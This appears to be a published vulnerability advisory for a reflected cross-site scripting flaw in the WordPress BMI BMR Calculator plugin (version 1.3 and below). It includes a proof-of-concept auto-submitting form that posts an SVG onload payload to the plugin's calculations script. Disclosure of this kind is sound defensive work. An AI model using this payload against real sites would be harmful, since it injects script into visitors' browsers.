WordPress Plugin Vulnerabilities

BMI BMR Calculator <= 1.3 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape arbitrary POST data before outputting it back in the response, leading to a Reflected Cross-Site Scripting

Proof of Concept

<form action="https://example.com/wp-content/plugins/bmi-bmr-calculator/bmibmr_calculations.php" method="post" name="form1">
   <input type="text" name="123" value="<svg onload=alert('xss')>">
  <button type="submit"></button>
</form>
<script>
   document.form1.submit();
</script>

Affects Plugins

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
p7e4
Submitter
p7e4
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-04-19 (about 2 years ago)
Added
2022-04-19 (about 2 years ago)
Last Updated
2022-04-20 (about 2 years ago)

Other